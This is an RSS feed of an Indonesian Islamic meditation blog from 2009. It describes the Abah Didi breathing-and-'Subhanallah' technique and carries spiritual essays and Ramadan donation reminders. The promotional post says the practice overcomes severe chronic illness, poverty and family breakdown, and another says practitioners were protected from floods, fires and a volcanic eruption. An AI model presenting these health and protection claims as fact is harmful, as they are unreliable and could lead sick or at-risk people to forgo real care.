<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tafakur Untuk Dunia Akhirat</title>
	<atom:link href="http://www.abah-guru.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abah-guru.com</link>
	<description>Non formal education, Quality and Motivation</description>
	<lastBuildDate>Sat, 07 Nov 2009 06:39:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>TAFAKUR MEDITASI ISLAM ABAH DIDI</title>
		<link>http://www.abah-guru.com/2009/11/tafakur-meditasi-islam-abah-didi/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=tafakur-meditasi-islam-abah-didi</link>
		<comments>http://www.abah-guru.com/2009/11/tafakur-meditasi-islam-abah-didi/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 06:26:08 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>
		<category><![CDATA[Berita Tafakur]]></category>
		<category><![CDATA[Abah Didi]]></category>
		<category><![CDATA[Index Tafakur]]></category>
		<category><![CDATA[meditasi islam]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=463</guid>
		<description><![CDATA[ 

Tafakur Meditasi Islam Abah Didi yang diajarkan oleh Syaikhuna Al Mukarram Syech Abdullah Ibnu Mas’ud atau lebih dikenal dengan “Abah Didi”, dengan cara menarik dan mengeluarkan nafas disertai bacaan “Subhanallah” dilakukan minimal lima menit sehari-semalam secara rutin, akan bermanfaat dalam mengingat Allah SWT mulai dari sel yang terkecil, organ tubuh, anggota tubuh dan seluruh [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a rel="attachment wp-att-462" href="http://www.abah-guru.com/2009/11/tafakur-meditasi-islam-abah-didi/banne1/"><img class="aligncenter size-full wp-image-462" title="banne1" src="http://www.abah-guru.com/wp-content/uploads/2009/11/banne1.jpg" alt="banne1" width="299" height="112" /></a><span style="color: #000000;"><strong> </strong></span></p>
<blockquote>
<p style="text-align: center;"><span style="color: #000000;"><strong>Tafakur Meditasi Islam Abah Didi yang diajarkan oleh Syaikhuna Al Mukarram Syech Abdullah Ibnu Mas’ud atau lebih dikenal dengan “Abah Didi”, dengan cara menarik dan mengeluarkan nafas disertai bacaan “Subhanallah” dilakukan minimal lima menit sehari-semalam secara rutin, akan bermanfaat dalam mengingat Allah SWT mulai dari sel yang terkecil, organ tubuh, anggota tubuh dan seluruh tubuh, lahir bathin, selamat di dunia dan akhirat yang kekal abadi.</strong></span></p>
</blockquote>
<p><span style="color: #000000;"><strong><img class="aligncenter size-full wp-image-464" title="Posisi Duduk SIN" src="http://www.abah-guru.com/wp-content/uploads/2009/11/Posisi-Duduk-SIN.jpg" alt="Posisi Duduk SIN" width="236" height="184" /></strong></span></p>
<p><span style="color: #000000;"><strong>CARA MELAKUKAN</strong><strong><br />
</strong></span></p>
<p style="text-align: justify;">Jika sudah siap dalam posisi “Sin” postur tubuh dibuat tegak agar nafas tidak tertahan dapat masuk dan keluar dengan nyaman dan benar. Usahakan kepala dalam keadaan tegak agar aliran nafas dapat berlangsung lancar. Bernafas secara alamiah, seringan mungkin dan berkonsentrasi melafadzkan kalimat tasbih “Subhanallah” di dalam hati ketika menghirup dan mengeluarkan nafas. Bahu diusahakan tidak terlalu naik atau tegang, santai dan rileks sehingga bahu tidak ikut dalam kegiatan menarik dan mengeluarkan nafas.</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-465" title="cara_melakukan" src="http://www.abah-guru.com/wp-content/uploads/2009/11/cara_melakukan.jpg" alt="cara_melakukan" width="300" height="195" /></p>
<ul>
<li style="text-align: justify;">Setelah didapat irama nafas keluar masuk terus menerus yang benar-benar enak lakukanlah konsentrasi supaya pengucapan “Subhanallah” di dalam hati dilakukan sejalan dengan tarikan nafas dan pembuangan nafas. Dalam satu tarikan nafas di dalamnya diucapkan “Subhanallah” kemudian ketika keluar nafas ucapkan juga “Subhanallah” dalam satu hembusan.</li>
<li style="text-align: justify;">Hal yang perlu diperhatikan, akhir penarikan nafas bersamaan dengan selesainya “Subhanallah”. Begitu juga ketika menghembuskan nafas, merasakan saat akhir pengeluaran nafas “Subhanallah” juga sudah selesai diucapkan. Lakukan hal ini beberapa kali hingga didapat satu kesatuan bernafas yang halus mengandung ucapan “Subhanallah”. Ulangi beberapa kali dengan perlahan-lahan tanpa ada keinginan mencapai sesuatu hal dan tidak terburu-buru.<span id="more-463"></span></li>
</ul>
<p><span style="color: #000000;"><strong>Tafakur Meditasi Islam Abah Did</strong></span>i</p>
<p>Untuk Ketenangan, Kesabaran, Ketenteraman</p>
<p><strong>Keistimewaan &amp; Keutamaan</strong><br />
Tafakur Meditasi Islam Abah Didi</p>
<ul>
<li>Asli dari Islam</li>
<li>Efektif – Mudah dipelajari</li>
<li>Efisien – Cukup berlatih 5 menit/hari</li>
<li>Praktis – Dapat dilakukan di mana saja</li>
<li>Selamanya – Bermanfaat seumur hidup</li>
<li>Menimbulkan ketenangan, kesabaran, ketenteraman dalam kehidupan</li>
<li>Menjadikan anda dapat mengatur dan mengendalikan diri sendiri</li>
<li>Memudahkan anda mendapatkan rezeki</li>
<li>Sebagai alat atau jalan menuju selamat dunia akhirat</li>
</ul>
<p><strong>Deskripsi</strong><br />
Tafakur Meditasi Islam Abah Didi</p>
<ul>
<li>Intinya adalah konsentrasi, bernafas bersamaan dengan membaca Subhanallah dalam hati.</li>
<li>Tafakur adalah selalu mengingat Allah dan mengingat kehidupan Akhirat. Meditasi merupakan teknik konsentrasi pernafasan.</li>
<li>Sebagai cara meningkatkan kejernihan, ketajaman akal pikiran perasaan dalam beriman dan bertakwa kepada Allah Subhanahu Wa Taala</li>
<li>Merupakan upaya ibadah dan menghambakan diri hanya kepada Allah Subhanahu Wa Taala semata.</li>
</ul>
<p><strong>Peran Penting</strong><br />
Tafakur Meditasi Islam Abah Didi</p>
<ul>
<li>Nafas adalah inti kehidupan.</li>
<li>Manusia bernafas sejak lahir hingga mati.</li>
<li>Jika nafas yang masuk tubuh disucikan oleh zat, hawa kesucian Allah (Subhanallah) maka seluruh tubuh akan suci.</li>
<li>Dengan tekun dan terus menerus berlatih, hawa suci keTuhanan yang ada akan masuk hingga ke dalam sel tubuh, selalu bersifat positif, akan dicapai ketenangan, kesabaran, dan ketenteraman yang akan membawa kepada selamat dunia akhirat.</li>
</ul>
<p><strong>Mengatasi Masalah Kehidupan </strong>(5K):</p>
<ul>
<li><strong>Keuangan, kekayaan, harta</strong></li>
<li>Kesulitan keuangan, bisnis kacau</li>
<li>Tidak punya uang</li>
<li>Dapat uang tetapi selalu habis dan kurang</li>
<li><strong>Karir, pekerjaan, jabatan</strong></li>
<li>Kehilangan / tidak punya pekerjaan,</li>
<li>Karir terancam, jabatan selalu diincar orang</li>
<li>Stress karena dituduh korupsi yang tidak jelas dasar hukumnya</li>
<li><strong>Kesehatan </strong></li>
<li>Penyakit berat, menahun</li>
<li>Takut dan resah berkepanjangan</li>
<li>Tidak sabar, sering marah-marah tidak menentu</li>
<li><strong>Keluarga </strong></li>
<li>Ingin dapat jodoh .</li>
<li>Suami  / istri selingkuh, tidak setia.</li>
<li>Disharmoni hubungan antar anggota keluarga, anak dengan orang tua, hubungan suami istri, hubungan antara pria dan wanita</li>
<li><strong>Kematian – menuju kehidupan akhirat</strong></li>
<li>Bingung menghadapi hari tua dan kematian</li>
<li>Gamang, hampa hidup menunggu mati</li>
</ul>
<p><strong> </strong></p>
<p><strong>Tekun Berlatih dengan Baik</strong><br />
Tafakur Meditasi Islam Abah Didi</p>
<ul>
<li>Agar rajin, tekun berlatih setiap hari minimal selama 5 (lima) menit. Boleh dilakukan malam hari sebelum tidur, dan atau pagi hari 5 menit setelah subuh.</li>
<li>Latihan tafakur sebaiknya bersentuhan dengan lantai karena kita akan mengambil energi dari bumi. Untuk tahap pendahuluan,</li>
<li>Posisi “Sin”, duduk bersila di lantai adalah posisi yang baik. (walau dapat dilakukan di mana saja tidak mengganggu aktifitas sehari-hari). Boleh berlatih sambil duduk di kursi kerja kantor, sedang menunggu sesuatu, atau di dalam kendaraan.</li>
</ul>
<p><strong>Syarat Mengikuti Bimbingan dan Latihan Tafakur:</strong></p>
<ul>
<li>Memenuhi peraturan administrasi</li>
<li>Dewasa, sehat jasmani rohani</li>
<li>Memiliki keyakinan, pandangan hidup, dan visi yang baik</li>
<li>Dianjurkan untuk dalam keadaan bersih dengan cara mandi atau membasuh badan dengan air, wudlu.</li>
<li>Mengganti pakaian kerja / sehari-hari dengan pakaian yang longgar dan nyaman</li>
</ul>
<p style="text-align: justify;">Sebelum berlatih sebaiknya dilakukan tanya jawab untuk mendapat informasi latar belakang calon peserta dan penjelasan program tafakur dari instruktur. Jika jadwal (hari, jam, durasi) sudah disepakati program tafakur dapat dilaksanakan</p>
<p style="text-align: justify;">Untuk yang akan menjalani terapi (healing) agar membawa air yang biasa diminum <em>(drinklable water) </em>2 botol @ 1500 cc untuk minum dan mandi</p>
<p style="text-align: justify;"><em>republish from : </em><a href="http://tbsufyan.wordpress.com/" target="_self">tbsufyan</a></p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F11%2Ftafakur-meditasi-islam-abah-didi%2F&amp;linkname=TAFAKUR%20MEDITASI%20ISLAM%20ABAH%20DIDI"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/11/tafakur-meditasi-islam-abah-didi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MERANCANG PERLINDUNGAN</title>
		<link>http://www.abah-guru.com/2009/10/merancang-perlindungan/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=merancang-perlindungan</link>
		<comments>http://www.abah-guru.com/2009/10/merancang-perlindungan/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 12:32:14 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>
		<category><![CDATA[Berita Tafakur]]></category>
		<category><![CDATA[Abah Didi]]></category>
		<category><![CDATA[Index Tafakur]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=452</guid>
		<description><![CDATA[Betul! Bukan hanya mencari, tetapi merancang perlindungan. Itulah yang sekarang tampaknya pantas dilakukan setiap orang di Indonesia. Di manapun seseorang berada sangat mungkin terkena ragam bentuk bencana dan waktunya kapan saja bisa terjadi. Kemungkinannya meningkat setelah rangkaian gempa besar yang baru-baru ini terjadi. Jika hitungan dimulai dari gempa Jawa Barat, Bali, Sumatera Barat, Jambi, Manokwari, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Betul! Bukan hanya mencari, tetapi merancang perlindungan. Itulah yang sekarang tampaknya pantas dilakukan setiap orang di Indonesia. Di manapun seseorang berada sangat mungkin terkena ragam bentuk bencana dan waktunya kapan saja bisa terjadi. Kemungkinannya meningkat setelah rangkaian gempa besar yang baru-baru ini terjadi. Jika hitungan dimulai dari gempa Jawa Barat, Bali, Sumatera Barat, Jambi, Manokwari, Gorontalo yang muncul dalam hitungan waktu lima hari saja sangat beralasan jika menurut analisis prakiraan kuantitatif dan kecenderungan perilaku geologi kemungkinan besar akan hadir lagi gempa-gempa yang lain. Mengingat pada kurun waktu lebih lama saja, tahun 1990 hingga 2000, dari gempa-gempa besar di Cina, Los Angeles-Amerika Serikat, Kobe-Jepang, dan di bagian dunia lainnya, Indonesia mendapat jatah paling banyak yakni delapan (hampir 20%) dari 43 gempa di atas 6 SR yang mematikan. Kemudian, di tahun 2004 terjadi Tsunami Aceh dengan kekuatan 9.1 SR merupakan yang terbesar dan sangat menghancurkan [http://earthquake.usgs.gov]. Jadi, sewaktu-waktu boleh saja ada gempa besar lagi. Makin banyak orang menjadi takut dan berupaya mencari perlindungan.</p>
<p style="text-align: justify;">Tindakan cepat dan tepat untuk merancang perlindungan adalah memohon lindungan dari Allah SWT, dengan bersikap hanya takut kepada Allah<a href="http://blogs.cjb.net/manager/add_entry.php#_ftn1">[1]</a> dengan meninggalkan larangan serta mentaati perintahNya. Setelah itu dapat dilakukan upaya penggunaan teknologi mutakhir untuk membuat sarana dan prasarana yang sanggup menghindari bencana alam dengan cara secepatnya membangun bangunan-bangunan tahan gempa. Namun, walau selain mahal dan sulit, bangsa Jepang pun yang sangat tekun dan ahli mengatasi gempa masih sulit bertahan dan mengatasi dampak bencana alam. Tindakan lain berikutnya adalah menghindar dari menetap atau membangun tempat-tempat tinggal dan usaha yang sudah jelas berada di daerah sering gempa. Namun masih belum cukup untuk memastikan keberhasilan rancangan perlindungan tersebut.</p>
<p style="text-align: justify;">Beruntung bagi mereka yang punya pembimbing spiritual, guru zuhud, atau guru mursid karena dengan petunjuk mereka akan diperoleh kejelasan tindakan tepat yang harus dilakukan agar selamat di dunia dan akhirat. Dengan melakukan ibadah dasar utama shalat, zakat, selalu mengingat Allah dengan bertafakur meditasi Islam dan kegiatan sehari-hari yang dianjurkan, seperti banyak telah dicontohkan ratusan tahun sebelumnya, suatu kelompok masyarakat atau kaum akan selamat. Belum hilang dari ingatan dari para praktisi Tafakur Meditasi Islam Abah Didi [www.abah-didi.com; www.ismedad.co.uk], dalam kurun tahun 2004 –2008, bagaimana mereka diselamatkan dari banjr besar Jakarta, kebakaran pasar di Wanaraja-Garut dan Kandangan Kalimantan Selatan, letusan gunung Kelud (yang batal terjadi) di Jawa Timur.</p>
<p style="text-align: justify;">Disarankan bagi kita semua untuk sungguh-sungguh merancang perlindungan dengan memohon kepada Allah SWT, dengan bersikap hanya takut kepada Allah dengan meninggalkan larangan serta mentaati perintahNya dengan melakukan ibadah dasar utama shalat, zakat, selalu mengingat Allah. Bagi praktisi Tafakur Meditasi Islam Abah Didi diharapkan agar seluas-luasnya memberitahu, mengajak, mengingatkan agar keluarga, kerabat, teman, dan saudara-saudara lainnya di lingkungan kita agar selalu ingat kepada Allah setidaknya lima menit setiap hari dengan bertafakur meditasi Islam, ingat Akhirat dan jangan tinggalkan ibadah utama shalat dan zakat. Mudah-mudahan kita diberi keselamatan oleh Allah SWT. <a href="http://tbsufyan.wordpress.com/2009/10/18/merancang-perlindungan/" target="_self">(TbS, 6/10/09)</a></p>
<hr size="1" />
<blockquote><p><a href="http://blogs.cjb.net/manager/add_entry.php#_ftnref1">[1]</a> Sering kita belum mampu mengidentifikasi rasa takut. Takut akan celaka atau tidak mau celaka kemudian memohon supaya kita jangan terkena hal yang kita takuti, padahal kita belum memenuhi pra syarat beribadah. Besar kemungkinan rasa takut tersebut masih berlandaskan keinginan duniawi karena takut rumah hancur, khawatir pekerjaan atau perdagangan jadi sulit, hilang mata pencaharian, dan sebagainya. Mind setting seperti inilah yang sebaiknya segera dirubah menjadi baik buruknya kejadian dari Allah kepada kita harus diterima dengan sukacita. Memang sangat sulit, tetapi bisa dilatih dan dipelajari.</p></blockquote>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F10%2Fmerancang-perlindungan%2F&amp;linkname=MERANCANG%20PERLINDUNGAN"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/10/merancang-perlindungan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TAFAKURI KAMPUNG AKHIRAT</title>
		<link>http://www.abah-guru.com/2009/10/tafakur-kampung-akhirat/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=tafakur-kampung-akhirat</link>
		<comments>http://www.abah-guru.com/2009/10/tafakur-kampung-akhirat/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 18:05:01 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>
		<category><![CDATA[Berita Tafakur]]></category>
		<category><![CDATA[angin]]></category>
		<category><![CDATA[angin berkisar kuat]]></category>
		<category><![CDATA[angin mandul]]></category>
		<category><![CDATA[cyclon]]></category>
		<category><![CDATA[Index Tafakur]]></category>
		<category><![CDATA[puting beliung]]></category>
		<category><![CDATA[puyuh]]></category>
		<category><![CDATA[taifun]]></category>
		<category><![CDATA[tornado]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=441</guid>
		<description><![CDATA[Manusia diciptakan, dibuat, dimiliki oleh Allah SWT, dari tidak ada dibuat jadi ada, dihidupkan, dan dimatikan. 
Awal – Akhir
Ciptaan Allah SWT di seluruh alam semesta adalah fana, ada awal dan ada akhir. Awal manusia hidup diketahui dengan adanya nafas, yang kemudian dinyatakan bahwa nafas adalah inti kehidupan, yang membuat ruh ada hidup di dalam badan [...]]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: justify;"><a href="http://www.abah-guru.com/wp-content/uploads/2009/10/Bala.jpg"><img class="size-full wp-image-447" title="Bala" src="http://www.abah-guru.com/wp-content/uploads/2009/10/Bala.jpg" alt="Bala" width="400" height="253" /></a><strong><span lang="IN">Manusia diciptakan</span><span>,</span><span lang="IN"> dibuat</span><span>,</span><span lang="IN"> dimiliki oleh Allah SWT</span><span>, dari tidak ada dibuat jadi ada, dihidupkan, dan dimatikan. </span></strong></h2>
<p style="text-align: justify;"><strong><span>Awal – Akhir<br />
</span></strong><span>Ciptaan Allah SWT di seluruh alam semesta adalah fana, ada awal dan ada akhir. Awal manusia hidup diketahui dengan adanya nafas, yang kemudian dinyatakan bahwa nafas adalah inti kehidupan, yang membuat ruh ada hidup di dalam badan manusia. Tanda akhir kehidupan manusia adalah ketika nafas berhenti keluar masuk dari tubuh, ruh akan pulang kembali ke akhirat.</span></p>
<p style="text-align: justify;"><strong><span>Musnah – Hancur<br />
</span></strong><span>Aktifitas raga manusia berhenti setelah nafas tidak ada dan ruh keluar dari badan, akhirnya musnah, hancur. Sebaliknya jika raga rusak atau hancur manusia akan mati; hancur oleh angin, air, api, tanah dan kejadian-kejadian atau peristiwa yang merusak baik oleh alam maupun mahluk.<span id="more-441"></span></span>
</p>
<p style="text-align: justify;"><span>Balatentara Allah yang diberi tugas untuk melaksanakan kehendakNya antara lain: angin, angin berkisar kuat, taifun, tornado, cyclon, puting beliung, puyuh, angin mandul yang mematikan mahluk dan flora, angin sangat dingin, sangat panas. Air banjir, gelombang, hujan deras, hujan es, hujan batu, hujan angin. Guntur, petir dengan bunyi sangat kuat. Gempa, erupsi gunung, tanah longsor, tanah rekah, badai pasir. Api</span></p>
<p style="text-align: justify;"><strong><span>Tugas di Dunia<br />
</span></strong><span>Tugas dan fungsi pokok manusia sebagai<span> </span>makhluk akhirat maupun ketika ditugaskan menjadi makhluk bumi adalah beribadah, menghambakan diri kepada Allah SWT.</span>
</p>
<p style="text-align: justify;"><span>Ketika bertugas di kehidupan dunia manusia diberi bekal dalam dirinya untuk dipergunakan sebaik-baiknya dalam menjalani kehidupan. Bekal yang berhasil dimanfaatkan dalam beribadah menjadi prestasi yang diridhoi Allah SWT tersebut akan dibawa pulang ke kampung akhirat yang abadi. Prestasi yang dicapai selama hidup manusia di dunia akan sangat menentukan posisi di kehidupan akhirat.</span></p>
<p style="text-align: justify;"><span>Pedoman untuk memanfaatkan bekal tersebut ada dalam Al Qur’an. Petunjuk pelaksanaan serta aturan-aturan untuk beribadah ada dalam rukun Iman dan rukun Islam. Referensi berupa contoh aplikasi dimuat dalam hadits Rasulullah Muhammad SAW, dicontohkan kepada para sahabat, tabi’in, tabi-it tabi’in, para aulia, guru-guru mursyid. </span>Guru Mursid adalah guru yang memiliki silsilah ilmu yang jelas urutannya hingga ke Rasulullah<span>.</span></p>
<p style="text-align: justify;"><span>Sangat sulit bagi seorang manusia untuk selamat hidup di dunia dan akhirat tanpa bimbingan seorang guru mursyid. </span></p>
<p style="text-align: justify;"><span>Ketika manusia lahir di bumi, yang sebelumnya merupakan makhluk akhirat (ruh, spirit) sudah mulai memakai atribut manusia dunia berupa raga (badan, body). Dalam pertumbuhannya raga manusia bertambah kuat sejalan dengan perkembangan kehendak atau keinginan (nafs, soul). </span></p>
<p style="text-align: justify;"><span>Kehendak manusia akan pemenuhan duniawi<span> </span>akan melemahkan fungsi ruh yang selalu ingin dekat dan beribadah<span> </span>kepada Allah SWT. Bila tidak dilatih dengan tekun, dirawat dan diberi makanan rohani sesuai petunjuk pelaksanaan Islam, ruh akan lemah dan tertutup oleh keinginan duniawi. </span></p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F10%2Ftafakur-kampung-akhirat%2F&amp;linkname=TAFAKURI%20KAMPUNG%20AKHIRAT"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/10/tafakur-kampung-akhirat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jangan berhenti pada TAQDIR</title>
		<link>http://www.abah-guru.com/2009/09/jangan-berhenti-pada-taqdir/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=jangan-berhenti-pada-taqdir</link>
		<comments>http://www.abah-guru.com/2009/09/jangan-berhenti-pada-taqdir/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 14:46:13 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>
		<category><![CDATA[Berita Tafakur]]></category>
		<category><![CDATA[Index Tafakur]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=435</guid>
		<description><![CDATA[Umar bin Khattab ra. Ia mendapat kabar bahwa kota yang akan di masuki tentaranya sedang terjangkit sebuah wabah penyakit menular. Beliau beserta tentaranya tak jadi memasuki kota itu. Hal tersebut bukan menolak  sebuah taqdir, melainkan berpindah dari satu taqdir kepada taqdir yang lain. Umar mengakui, kehendak bebas manusia untuk membuat pilihan atas persolan riil yang [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Umar bin Khattab ra. Ia mendapat kabar bahwa kota yang akan di masuki tentaranya sedang terjangkit sebuah wabah penyakit menular. Beliau beserta tentaranya tak jadi memasuki kota itu. Hal tersebut bukan menolak  sebuah taqdir, melainkan berpindah dari satu taqdir kepada taqdir yang lain. Umar mengakui, kehendak bebas manusia untuk membuat pilihan atas persolan riil yang dihadapinya. Namun disisi lain, Umar menganggap pilihan yang dianggap oleh manusia, pada akhirnya mau tidak mau, tetap berjalan dalam takdir Tuhan juga.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F09%2Fjangan-berhenti-pada-taqdir%2F&amp;linkname=Jangan%20berhenti%20pada%20TAQDIR"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/09/jangan-berhenti-pada-taqdir/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selamat Idul Fitri 1430 H</title>
		<link>http://www.abah-guru.com/2009/09/selamat-idul-fitri-1430-h/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=selamat-idul-fitri-1430-h</link>
		<comments>http://www.abah-guru.com/2009/09/selamat-idul-fitri-1430-h/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 20:19:54 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>
		<category><![CDATA[Berita Tafakur]]></category>
		<category><![CDATA[idul-fitri]]></category>
		<category><![CDATA[zakat]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=420</guid>
		<description><![CDATA[Allah memberi peringatan keras kepada orang-orang yang tidak menunaikan Zakat, yang dalam firman-NYA :

“….dan orang-orang yang menyimpan emas dan perak dan tidak menafkahkannya pada jalan Allah, Maka beritahukanlah kepada mereka, (bahwa mereka akan mendapat) siksa yang pedih, pada hari dipanaskan emas perak itu dalam neraka Jahannam, lalu dibakar dengannya dahi mereka, lambung dan punggung mereka [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Allah memberi peringatan keras kepada orang-orang yang tidak menunaikan Zakat, yang dalam firman-NYA :</strong></p>
<blockquote>
<p style="text-align: center;"><strong>“….dan orang-orang yang menyimpan emas dan perak dan tidak menafkahkannya pada jalan Allah, Maka beritahukanlah kepada mereka, (bahwa mereka akan mendapat) siksa yang pedih, pada hari dipanaskan emas perak itu dalam neraka Jahannam, lalu dibakar dengannya dahi mereka, lambung dan punggung mereka (lalu dikatakan) kepada mereka: “Inilah harta bendamu yang kamu simpan untuk dirimu sendiri, Maka rasakanlah sekarang (akibat dari) apa yang kamu simpan itu.” (Q:S At-Taubah 34–35</strong>)</p>
</blockquote>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F09%2Fselamat-idul-fitri-1430-h%2F&amp;linkname=Selamat%20Idul%20Fitri%201430%20H"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/09/selamat-idul-fitri-1430-h/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SANTUNAN RAMADHAN 1430 H. ke-3</title>
		<link>http://www.abah-guru.com/2009/08/santunan-ramadhan-ke-3/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=santunan-ramadhan-ke-3</link>
		<comments>http://www.abah-guru.com/2009/08/santunan-ramadhan-ke-3/#comments</comments>
		<pubDate>Sat, 29 Aug 2009 17:35:12 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>
		<category><![CDATA[Berita Tafakur]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=414</guid>
		<description><![CDATA[Assalamu ‘alaikum Wr. Wb.
Di ingatkan kembali kepada seluruh anggota TMIAD/YTMIAD bahwa ;
“SANTUNAN RAMADHAN 1430 H. ke-3″
untuk 10 hari sebelum akhir Ramadhan 1430 H. (tanggal 21 s/d 30 Ramadhan 1430 H.
Atas perhatian saudara/(i) diucapkan terima kasih. Wassalam
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">Assalamu ‘alaikum Wr. Wb.</p>
<p style="text-align: center;">Di ingatkan kembali kepada seluruh anggota TMIAD/YTMIAD bahwa ;</p>
<h1 style="text-align: center;"><span style="text-decoration: line-through;">“SANTUNAN RAMADHAN 1430 H. ke-3″</span></h1>
<p style="text-align: center;">untuk 10 hari sebelum akhir Ramadhan 1430 H. (tanggal 21 s/d 30 Ramadhan 1430 H.</p>
<p style="text-align: center;">Atas perhatian saudara/(i) diucapkan terima kasih. Wassalam</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F08%2Fsantunan-ramadhan-ke-3%2F&amp;linkname=SANTUNAN%20RAMADHAN%201430%20H.%20ke-3"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/08/santunan-ramadhan-ke-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SANTUNAN RAMADHAN 1430  ke-2</title>
		<link>http://www.abah-guru.com/2009/08/santunan-ramadhan-1430-ke-2/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=santunan-ramadhan-1430-ke-2</link>
		<comments>http://www.abah-guru.com/2009/08/santunan-ramadhan-1430-ke-2/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 20:41:58 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=407</guid>
		<description><![CDATA[Assalamu ‘alaikum Wr. Wb.
Di ingatkan kembali kepada seluruh anggota TMIAD/YTMIAD bahwa ;
“SANTUNAN RAMADHAN 1430 H. ke-2″

untuk 10 hari petengahan Ramadhan 1430 H. (tanggal 11 s/d 20 Ramadhan 1430 H.) diharapkan sudah mulai dikumpulkan dan maksimal tanggal 9 Ramadhan 1430 H. dana santunan sudah diterima di Pusat YTMIAD Bandung. Atas perhatian saudara/(i) diucapkan terima kasih. Wassalam
]]></description>
			<content:encoded><![CDATA[<p>Assalamu ‘alaikum Wr. Wb.</p>
<p>Di ingatkan kembali kepada seluruh anggota TMIAD/YTMIAD bahwa ;</p>
<p><span style="font-size:22pt"><span style="color:teal"><strong><span style="text-decoration: line-through;">“SANTUNAN RAMADHAN 1430 H. ke-2″</span><br />
</strong></span></span></p>
